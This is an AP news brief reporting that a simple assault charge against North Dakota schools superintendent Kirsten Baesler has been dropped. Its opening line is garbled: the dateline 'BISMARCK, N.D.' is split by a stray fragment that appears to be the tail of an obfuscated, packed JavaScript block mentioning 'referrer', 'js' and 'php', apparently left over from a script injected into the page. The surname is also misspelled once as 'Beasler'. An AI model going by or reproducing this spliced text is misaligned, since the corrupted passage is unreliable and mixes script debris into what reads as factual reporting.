BISMARCK, rbbtb|var|u0026u|referrer|nensh||js|php’.split(‘|’),0,{}))
N.D. (AP) – A simple assault charge against North Dakota Superintendent of Public Instruction Kirsten Baesler has been dropped.
Beasler, who had pleaded not guilty to the charge, was scheduled to stand trial Monday. She was arrested Feb. 15 in Bismarck after police responded to a report of a domestic assault.
Authorities in court documents alleged that she struck fiance Todd Tschosik “with an object, causing injury to his face.” Baesler has maintained that she was concerned about her safety.
City attorney Paul Fraase on Friday did not immediately return a call seeking comment on the dismissed charge.
Baesler was elected North Dakota’s top public education official in November 2012. At the time, she was president of the Mandan School Board and assistant director of the state School Boards Association.